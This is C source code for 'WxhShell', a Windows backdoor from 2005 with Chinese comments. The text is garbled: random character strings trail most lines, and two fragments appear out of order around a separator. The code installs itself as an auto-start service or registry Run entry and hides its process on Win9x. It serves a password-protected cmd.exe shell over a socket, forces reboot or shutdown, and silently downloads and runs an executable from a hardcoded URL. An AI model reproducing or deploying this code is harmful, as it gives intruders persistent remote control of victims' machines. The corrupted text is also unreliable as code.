    if(Boot(SHUTDOWN)) 1y J5l,q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Uk>?XAr  
    else { xc9YM0B&  
    closesocket(wsh); @@I7$*  
    ExitThread(0); <,"4k&0Q>V  
    } 7R}9oK_I  
    break; j5Qo*p  
    } ,P{mk%=9  
  // 获取shell r-}-C!  
  case 's': { 0}{'C5  
    CmdShell(wsh); 7 8Vcu'j&_  
    closesocket(wsh); hi ~}  
    ExitThread(0); bu>qsU3  
    break; $B;_Jo\|  
  } WJ |:kuF  
  // 退出 f`jc#f5+'  
  case 'x': { nVE9^')8V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MtS3p>4  
    CloseIt(wsh); v2Bzx/F:  
    break; dBSbu=^$)  
    }  v,=v  
  // 离开 Lxv6!?v|  
  case 'q': { .N,&Uv-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "- 31'R-  
    closesocket(wsh); T.REq4<  
    WSACleanup(); M|q~6oM  
    exit(1); #]CFA9 z  
    break; +Y}V3(w9X  
        } `s|]"'rX  
  } L*h{'<Bz  
  } 7FLXx?nLY  
!*aPEf270  
  // 提示信息 qFco3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hn.bau[  
} $Az^Y0[D  
  } 'fx UV<K&  
!M7<BD};  
  return; K_~h*Yc  
} <[Q3rJ  
*)<B0SjT  
// shell模块句柄 <F;v`h|+S  
int CmdShell(SOCKET sock) OoBCY-gj*  
{ nOb?-rR  
STARTUPINFO si; G,f-.  
ZeroMemory(&si,sizeof(si)); &gtG~mp<L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RBwO+J53y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]}Z4P-"t  
PROCESS_INFORMATION ProcessInfo; n(1')?"mA  
char cmdline[]="cmd"; iCj2"T4TN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MP^ d}FL  
  return 0; AH#4wPxF  
} :XG;ru%i  
ujFzJdp3k  
// 自身启动模式 s&a1y~rv  
int StartFromService(void) Aw5pd7qKL  
{ ! }f1`/   
typedef struct J-xS:Ha'l  
{ 7%MbhlN.  
  DWORD ExitStatus; DC+b=IOz  
  DWORD PebBaseAddress; 7y^%7U \  
  DWORD AffinityMask; +JRF0T  
  DWORD BasePriority; )yG"^Ulu  
  ULONG UniqueProcessId; &<y2q/U}  
  ULONG InheritedFromUniqueProcessId; fX~'Zk\u  
}   PROCESS_BASIC_INFORMATION; aAE>)#f(  
-d+aV1n  
PROCNTQSIP NtQueryInformationProcess; `F t]MR  
G7GZDi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "{D6J809  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6at1bQ$  
bWWXc[O2&(  
  HANDLE             hProcess; %FZ2xyI.  
  PROCESS_BASIC_INFORMATION pbi; .IarkeCtb  
\OILWQ[/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O`G/=/GZ  
  if(NULL == hInst ) return 0; TlZT1H  
dS2G}L^L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hR#-u1C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F&RgT1*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^3VR-u<O  
wh6yPVVF/  
  if (!NtQueryInformationProcess) return 0; Q=mI 9  
oA] KE"T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $ _j[2EU  
  if(!hProcess) return 0; h4|i%,f  
]z/Zq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p)aeH`;O  
3_Cp%~Gi-_  
  CloseHandle(hProcess); &;yH@@Z  
r;BT,jiX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +mj*o(  
if(hProcess==NULL) return 0; te|? )j  
IU FH:w]  
HMODULE hMod; M<O{O}t<  
char procName[255]; Vd^g9  
unsigned long cbNeeded; E`int?C!  
fmqb` %  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j#r6b]k(Hv  
YHNR 3  
  CloseHandle(hProcess); Snp|!e  
@ "a6fn  
if(strstr(procName,"services")) return 1; // 以服务启动 T>TWU:  
[x=jH>Y  
  return 0; // 注册表启动 Kl7WQg,XOi  
} PyVC}dUAX  
\B F*m"lz  
// 主模块 1"Z@Q`}  
int StartWxhshell(LPSTR lpCmdLine) j /=i Mq  
{ CTX9zrY*T  
  SOCKET wsl; |-sPLU&s%  
BOOL val=TRUE; S/|,u`g-  
  int port=0; $mf u:tbP  
  struct sockaddr_in door; ,.eWQK~  
1b=lpw 1}  
  if(wscfg.ws_autoins) Install(); oSiMpQu08  
|4$M]Mf0  
port=atoi(lpCmdLine); E_Z{6&r  
C~fjWz' V  
if(port<=0) port=wscfg.ws_port; O~j> ?  
ojYbR<jn9  
  WSADATA data; Xq'cA9v=$J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EA ]+vq  
KT]Pw\y5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ? WJ> p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^` un'5Vk  
  door.sin_family = AF_INET; S$KFf=0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5T sUQc  
  door.sin_port = htons(port); 720P jQ  
HhO".GA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =*p/F  
closesocket(wsl);  "KcA  
return 1; n>@oBG)!  
} >WY#4  
DN4$Jva  
  if(listen(wsl,2) == INVALID_SOCKET) { r0p w_j  
closesocket(wsl); YK|bXSA[  
return 1; _|h8q-[3  
} ^N8)]F,  
  Wxhshell(wsl); &zs'/xv]  
  WSACleanup(); DNGvpKY@  
~y=T5wt  
return 0; Kw#so; e  
P[s8JDqu  
} +P.+_7+:  
^C2\`jLMY  
// 以NT服务方式启动 U,nEbKJgk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  KWLbD#  
{ X,9 M"E 2  
DWORD   status = 0; v<Bynd-  
  DWORD   specificError = 0xfffffff; ECv)v  
l5L.5 $N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Bl=tYp|a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9UvXC)R1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eQQ>  
  serviceStatus.dwWin32ExitCode     = 0; ^CwR!I.D}4  
  serviceStatus.dwServiceSpecificExitCode = 0; [+qCs7'  
  serviceStatus.dwCheckPoint       = 0; v[Kxja;  
  serviceStatus.dwWaitHint       = 0; g{5A4|_7  
>X*Mio8P#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sz9L8f2  
  if (hServiceStatusHandle==0) return; s-dLZ.9F  
B"%{i-v>**  
status = GetLastError(); AT5aDEb^^  
  if (status!=NO_ERROR) c-.t>r &  
{ Jx'i2&hGN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1S@vGq}  
    serviceStatus.dwCheckPoint       = 0; JxyB(  
    serviceStatus.dwWaitHint       = 0; q^6+!&"  
    serviceStatus.dwWin32ExitCode     = status; A*W) bZs.  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6e7{Iy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )7_"wD` z  
    return; GR\5WypoJ  
  } DY[$"8Kxcp  
YM5fyv?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y"Nsh>h  
  serviceStatus.dwCheckPoint       = 0; ^ns@O+Fk  
  serviceStatus.dwWaitHint       = 0; ZE%YXG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MDF%\Sx  
} g2unV[()_  
=J1rlnaaEL  
// 处理NT服务事件,比如:启动、停止 #-h\.#s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c'*a{CV4P  
{ T?4G'84nN  
switch(fdwControl) 8i?l02  
{ .7n\d55a  
case SERVICE_CONTROL_STOP: *Vho?P6y\Y  
  serviceStatus.dwWin32ExitCode = 0; y-CX}B#j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L/"0ws_  
  serviceStatus.dwCheckPoint   = 0; aF7nvu*N  
  serviceStatus.dwWaitHint     = 0; eI@ q|"U  
  { ,^S@EDq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !0N7^Z"gtz  
  } 37;$-cFE  
  return; _'#x^D  
case SERVICE_CONTROL_PAUSE: D-,L&R!`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fryJW=  
  break; n-DVT;y  
case SERVICE_CONTROL_CONTINUE: : }`-B0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -,["c9'3  
  break; Iy }:F8F>g  
case SERVICE_CONTROL_INTERROGATE: 2.d|G `  
  break; |{,KRO0P  
}; ^FnfJ:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f-r] |k  
} KM`eIw>8  
}2ZsHM^]%  
// 标准应用程序主函数 Ko^c|}mh*!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Vx @|O%  
{ JsotOic%  
8Dvazg}4  
// 获取操作系统版本 `)QCn<  
OsIsNt=GetOsVer(); z)uuxNv[R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5Vi> %5A>l  
B<-kzt  
  // 从命令行安装 Uo-`>7  
  if(strpbrk(lpCmdLine,"iI")) Install(); _!|/ ;Nk  
pJ ?~fp  
  // 下载执行文件 >"Q@bQ:e  
if(wscfg.ws_downexe) { 9aJ%`i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;*,f<  
  WinExec(wscfg.ws_filenam,SW_HIDE); not YeY7wR  
} .$#rV?7  
2}W0 F2*  
if(!OsIsNt) { YZ+RWu9K  
// 如果时win9x,隐藏进程并且设置为注册表启动 mq%<6/Y U  
HideProc(); Ye.r%i &  
StartWxhshell(lpCmdLine); 2ZQ}7`Y  
} C{d7J'Avk  
else u!:z.RH8n  
  if(StartFromService()) WQHd[2Z#e  
  // 以服务方式启动 kHqztg  
  StartServiceCtrlDispatcher(DispatchTable); %e@#ux m  
else pT$f8xJ  
  // 普通方式启动 r 6Q Q  
  StartWxhshell(lpCmdLine); /6_|]ijc  
SvR7e C  
return 0; 5 QO34t2  
} 'KPASfC  
a/< Csad  
f0T ,ul,  
(< =}]v  
=========================================== 07hF2[i  
~ Uo)0  
]Ta N{"  
K!KMQr`  
<G*nDFWf  
j;Z?WXWD h  
" y7^{yS[,  
 kQ   
#include <stdio.h> Ldn8  
#include <string.h> 1J' 3g  
#include <windows.h> "al `$%(  
#include <winsock2.h> _$>pw<  
#include <winsvc.h> yOvm`9  
#include <urlmon.h> lq"f[-8a2q  
BAO|)~1Pd  
#pragma comment (lib, "Ws2_32.lib") l (3bW1{n  
#pragma comment (lib, "urlmon.lib") -Qn=|2Mm?  
)P|[r  
#define MAX_USER   100 // 最大客户端连接数 ti &J  
#define BUF_SOCK   200 // sock buffer 8?FbtBAn  
#define KEY_BUFF   255 // 输入 buffer TW^/sx  
$u/E\l  
#define REBOOT     0   // 重启 03j]d&P%d  
#define SHUTDOWN   1   // 关机 wK}\_2?  
C^ )*Dsp  
#define DEF_PORT   5000 // 监听端口 (os$B  
zuJtpMn  
#define REG_LEN     16   // 注册表键长度 XerbUkZ  
#define SVC_LEN     80   // NT服务名长度 lb:/EUd5  
RNQK  
// 从dll定义API z(\4 M==2O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |_ G )qp;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RV&^g*;E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cr;g5C V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )3(;tT,$}^  
7+hK~  
// wxhshell配置信息 dZ _zg<  
struct WSCFG { FCkf#  
  int ws_port;         // 监听端口 Y-0?a?q2Fr  
  char ws_passstr[REG_LEN]; // 口令 g&n)fF  
  int ws_autoins;       // 安装标记, 1=yes 0=no V _c @b%  
  char ws_regname[REG_LEN]; // 注册表键名 W14 Vm(`N  
  char ws_svcname[REG_LEN]; // 服务名 _`#3f1F@[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1xc~`~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yObuWDA9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "}Me}S<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  ykrr2x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ujJI 1I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ` }3qhar  
iX\W;V  
}; 4H+Ked&Oq  
s{w[b\rA  
// default Wxhshell configuration {vo +gRYYv  
struct WSCFG wscfg={DEF_PORT, &[&r2 >a  
    "xuhuanlingzhe", 0 u?{ \  
    1, vF?5].T  
    "Wxhshell", [ 4;Ii  
    "Wxhshell", qp}Ma8+  
            "WxhShell Service", '<0J@^vZ  
    "Wrsky Windows CmdShell Service", I=;+n-  
    "Please Input Your Password: ", lHZU iB  
  1, ^GBe)~MT  
  "http://www.wrsky.com/wxhshell.exe", 2!Bd2  
  "Wxhshell.exe" n$[f94d=  
    }; DD44"w_9  
s[gKc'  
// 消息定义模块 & /4k7X}y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,TRTRb;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $#|gLVOQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jLJ1u/l>;  
char *msg_ws_ext="\n\rExit."; Jxqh )l  
char *msg_ws_end="\n\rQuit."; F]m gmYD%  
char *msg_ws_boot="\n\rReboot..."; #oJ5k8Wy  
char *msg_ws_poff="\n\rShutdown..."; ;}z\i  
char *msg_ws_down="\n\rSave to "; u0`%+:]0  
p!/[K6u  
char *msg_ws_err="\n\rErr!"; Z#.f&K )xX  
char *msg_ws_ok="\n\rOK!"; >{ me  
+w8R!jdA  
char ExeFile[MAX_PATH]; x3rlJs`$;  
int nUser = 0; j|tC@0A  
HANDLE handles[MAX_USER]; <|?K%FP7Z  
int OsIsNt; dCu'>G\bP  
_uc\ D R  
SERVICE_STATUS       serviceStatus; CDi<< ,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *UW=Mdt  
S60IPya  
// 函数声明 K 0hu:1l)  
int Install(void);  mA7m  
int Uninstall(void); 3Oa*%kP+  
int DownloadFile(char *sURL, SOCKET wsh); @/&b;s73  
int Boot(int flag); ESoAz o,u  
void HideProc(void); {iG@U=>  
int GetOsVer(void); 3zT_^;:L  
int Wxhshell(SOCKET wsl); |;A/|F0-e  
void TalkWithClient(void *cs); VzJ5.mRQ  
int CmdShell(SOCKET sock); U4G}DCU  
int StartFromService(void); Tg3!Rq55  
int StartWxhshell(LPSTR lpCmdLine); }qjCTEs}  
v_<2H' *Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,^8MB.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1oKfy>ie  
V Yw%01#  
// 数据结构和表定义 e5Mln!.o  
SERVICE_TABLE_ENTRY DispatchTable[] = d`d0 N5\  
{ Y qcD-K  
{wscfg.ws_svcname, NTServiceMain}, aiCn"j  
{NULL, NULL} 1 qi@uYDug  
}; ~m*,mz  
d1joVUYE  
// 自我安装 #Dfo#]k(  
int Install(void) _8G>&K3T<  
{ g+PPW88P;  
  char svExeFile[MAX_PATH]; TEsnNi 1  
  HKEY key; D7"p}PD>~  
  strcpy(svExeFile,ExeFile); [i]r-|_K  
\C 5%\4  
// 如果是win9x系统,修改注册表设为自启动 dd|W@Xp -  
if(!OsIsNt) { Iak0 [6Ey  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vVT?h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -6 sW6;Q  
  RegCloseKey(key); 2u?zO7W)-L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bAr` E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D5?phyC[Z  
  RegCloseKey(key); [@fz1{*  
  return 0; wNE$6  
    } zX{.^|  
  } EC<b3  
} !G_jGc=v  
else { [0[M'![8M  
YDmWN#  
// 如果是NT以上系统,安装为系统服务 E2B>b[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  j<"nO(  
if (schSCManager!=0) &W }<:WH~  
{ Q+i\8RJ  
  SC_HANDLE schService = CreateService ?*r!{3T ,u  
  ( >5T_g2pkv  
  schSCManager, wcDjg&:=ml  
  wscfg.ws_svcname, 5jq=_mHt  
  wscfg.ws_svcdisp, @6o]chJo  
  SERVICE_ALL_ACCESS, djT5 X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VhEMk\  
  SERVICE_AUTO_START, 7t-Lz| $"  
  SERVICE_ERROR_NORMAL, %~*jae!f  
  svExeFile, g<\z=H  
  NULL, _x1EZ&dh  
  NULL, q6`G I6  
  NULL, 8O1K[sEjui  
  NULL, H^1gy=kdj  
  NULL O7aLlZdg~  
  ); u1K\@jlw  
  if (schService!=0) ep(g`e  
  { /,|CrNwY*  
  CloseServiceHandle(schService); (sw-~U%  
  CloseServiceHandle(schSCManager); 8n4V cu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cjULX+h  
  strcat(svExeFile,wscfg.ws_svcname); EP7AP4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !PUp>(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ELa ja87  
  RegCloseKey(key); Gt/4F-Gn  
  return 0; # k5#j4!b  
    } }fhHXGK.  
  } ?a/n<V '  
  CloseServiceHandle(schSCManager); UEzi*"-v2  
} K'6[J"dB  
} ,ZI\dtl  
IPA*-I57  
return 1; k5+]SG`]]  
} ;BH>3VK  
J7-^F)lu-  
// 自我卸载 n<V1|X  
int Uninstall(void) Uz8hANN0_  
{ -+U/Lrt>8  
  HKEY key; ;)!"Ty|  
< 8(?7QI  
if(!OsIsNt) { (&&87(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :cp   
  RegDeleteValue(key,wscfg.ws_regname);  [~Hg}-c  
  RegCloseKey(key); 0o&}mKe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <xS=#  
  RegDeleteValue(key,wscfg.ws_regname); |;;!8VO3J  
  RegCloseKey(key); f1+qXMs  
  return 0; @Z\2*1y6  
  } Qs+k)e,  
} >R,?hWT  
} jOtX 60;  
else { DpL8'Dib  
:_d3//|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w!q&  
if (schSCManager!=0) Jme%  
{ [^PCm Z6n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @Hr+/52B  
  if (schService!=0) 7S2C/f  
  { c 8'Cq7  
  if(DeleteService(schService)!=0) { 2DMrMmLI  
  CloseServiceHandle(schService); WBppKj_M  
  CloseServiceHandle(schSCManager); DacJ,in_I{  
  return 0; Nh)[r x  
  } VTh$a_P>  
  CloseServiceHandle(schService); 5A_4\YpDR  
  } `n-vjjG%#  
  CloseServiceHandle(schSCManager); ?=|kC*$/G  
} F>Y9o- o2  
} /B HepD}  
Di??Q_$ak  
return 1; f?0s &Xo  
} k7bl'zic  
lg/sMF>z\f  
// 从指定url下载文件 C*wdtEGq  
int DownloadFile(char *sURL, SOCKET wsh) K=kH%ZK  
{ , Fytk34  
  HRESULT hr; EZ% .M*?  
char seps[]= "/"; g_D-(J`IK,  
char *token; LC'F<MpM  
char *file; kG3!(?:  
char myURL[MAX_PATH]; r#~K[qb  
char myFILE[MAX_PATH]; F ! )-|n}  
|6B6?'  
strcpy(myURL,sURL); =l|>.\-  
  token=strtok(myURL,seps); $N.`)S<  
  while(token!=NULL) tjb/[RQ  
  { aV|k}H{wt  
    file=token; Ku%6$C!,  
  token=strtok(NULL,seps); lYQtv=q  
  } R# 6H'TVE  
Y-&|VE2  
GetCurrentDirectory(MAX_PATH,myFILE); 2lz {_9  
strcat(myFILE, "\\"); G\/IM  
strcat(myFILE, file); 0^\/ERK  
  send(wsh,myFILE,strlen(myFILE),0); *h,3}\  
send(wsh,"...",3,0); Dsb(CoWw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); me'(lQ6^  
  if(hr==S_OK) w#{l 4{X|  
return 0; }GRMZh_8  
else h;n\*[fDc  
return 1; jyjQzt >\  
'?}R4w|)  
} tP]q4i  
^-L{/'[8M  
// 系统电源模块 rsSue_Q  
int Boot(int flag) p+D=}O  
{ b{HhS6<K?  
  HANDLE hToken; Qu_EfmN|  
  TOKEN_PRIVILEGES tkp; /oDpgOn  
IgA.%}II}  
  if(OsIsNt) { 97x%2.\:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;tN4HiN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  [`bZ5*&  
    tkp.PrivilegeCount = 1; *SGlqR['\e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /Su)|[/'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0o;~~\fq.  
if(flag==REBOOT) { 9%TT> 2#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f=oeF]=I"  
  return 0; =L16hDk o  
} nhT;b,G.Z  
else { UG=I~{L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) # `58F.  
  return 0; 4@~a<P#  
} #[,= 1Od(q  
  } )[ w&C_>]  
  else { u7(];  
if(flag==REBOOT) { GRQ_+K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,7I},sZj   
  return 0; r+TK5|ke  
} aL 8Gnqf2  
else { .S6ji~;r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xtsL8-u f  
  return 0; iRouLd  
} rV U:VL`2  
} :B+Rg cqi  
To^# 0  
return 1; #'c%  
} v<+4BjV!J}  
QD}1?)}  
// win9x进程隐藏模块 U%n,XOJ  
void HideProc(void) pzAoq)gg:  
{ !(yT7#?hP  
>Pyc[_j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @bY?$fj_u  
  if ( hKernel != NULL ) c G*(C  
  { 5Fr;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A~XOK;sB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kc-4W6?$  
    FreeLibrary(hKernel); Q-jf8A]  
  } QK'`=MU  
"]w!`^'_  
return; +>u>`|  
} 0 S2v"(_T  
a0{[P$$  
// 获取操作系统版本 v*vn<nPAQ>  
int GetOsVer(void) p}&Md-$1  
{ d<_NB]V&F  
  OSVERSIONINFO winfo; s`r-v/3l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :TlAL# s&  
  GetVersionEx(&winfo);  2aFT<T0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ] ZDTn  
  return 1; Nr%(2[$ =  
  else 5^b i 7J  
  return 0; ,zD_% ox  
} * *.:)  
h)^dB,~  
// 客户端句柄模块 RA} U#D:$i  
int Wxhshell(SOCKET wsl) }2h't.Z<u  
{ k)|'JDm  
  SOCKET wsh; wy YtpW  
  struct sockaddr_in client; |G)Y8 #D  
  DWORD myID; Q g$($   
{ v,{x1  
  while(nUser<MAX_USER) })KJ60B  
{ bI#<Ee0nJ  
  int nSize=sizeof(client); 5Yn{?r\#F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W  _J&M4  
  if(wsh==INVALID_SOCKET) return 1; ) b/n)%6  
ENO? ;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B~WK)UR  
if(handles[nUser]==0) wKGo gf[(%  
  closesocket(wsh); RZW$!tyI=  
else %3rTQ:X  
  nUser++; {x7=;-  
  } qw5&Y$((  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q Frt^+@  
"/Om}*VhD  
  return 0; {K<uM'ww>  
} {>wI8  
m"<4\;GK  
// 关闭 socket \Bt =bu>Z  
void CloseIt(SOCKET wsh) ]7v81G5E  
{ Wgav>7!9  
closesocket(wsh); ax4*xxU  
nUser--; U@#?T  
ExitThread(0); O%fUm0O d  
} qZXyi'(d  
zIP[R):3&U  
// 客户端请求句柄 P87ld._  
void TalkWithClient(void *cs) ]{(l;k9=e  
{ m dC`W&r  
qC\]"Z`m  
  SOCKET wsh=(SOCKET)cs; n"mJEkHE  
  char pwd[SVC_LEN]; T~s&)wD  
  char cmd[KEY_BUFF]; {a]pF.^kf  
char chr[1]; nDyvX1]  
int i,j; =E&24  
>~h>#{&  
  while (nUser < MAX_USER) { L^3~gM"!  
3b+7^0frY#  
if(wscfg.ws_passstr) { PP!l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,wEM Jh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %I_&Ehu  
  //ZeroMemory(pwd,KEY_BUFF); G XarUjs  
      i=0; Yr5iZ~V$  
  while(i<SVC_LEN) { {EOn r1  
C5>{Q:.`e'  
  // 设置超时 XI]OA7Zis  
  fd_set FdRead; hN& yc  
  struct timeval TimeOut; 03~+-h& n  
  FD_ZERO(&FdRead); F='Xj@&O  
  FD_SET(wsh,&FdRead); ;&K3 [;a  
  TimeOut.tv_sec=8; #D= tX  
  TimeOut.tv_usec=0; P\,F1N_?r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v$[ @]`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ooomi"u  
EW ~*@H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y=5!QLV4  
  pwd=chr[0]; ;:AG2zE!  
  if(chr[0]==0xd || chr[0]==0xa) { / c +,  
  pwd=0; N{ : [/  
  break; #:]vUQ  
  }  yQ<6p3  
  i++; _2]e1_=  
    } F<h&3  
2~#ZO?jE6  
  // 如果是非法用户,关闭 socket ]&&I|K_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8o!  
} )WaX2uDA?  
_u#/u2<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Qe7" Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <dq,y>  
$/4Wod*l  
while(1) { +A'}PXm*tu  
YnKFcEJrT  
  ZeroMemory(cmd,KEY_BUFF); g@$0FY{Q  
HT{F$27W  
      // 自动支持客户端 telnet标准   K.:6YXVs<  
  j=0; C HQ {+?#  
  while(j<KEY_BUFF) { \B*k_W/r@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $.ymby  
  cmd[j]=chr[0]; w;lx:j!Vp$  
  if(chr[0]==0xa || chr[0]==0xd) { O4lxeiRgC  
  cmd[j]=0; )fxo)GS  
  break; 1i5 vW-'4  
  } j09mI$2y67  
  j++; 3{.9O$  
    } zi?qK?m  
/IGrp.}  
  // 下载文件 A>qd2  
  if(strstr(cmd,"http://")) { 1gF*Mf_7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ph Wc 8[Q  
  if(DownloadFile(cmd,wsh)) :GN)7|:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~|X99?P  
  else vS~AxeW/7R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F7k4C2r  
  } *D,v>(  
  else { )OARO  
-=-x>(pRW7  
    switch(cmd[0]) { Jm{As*W>  
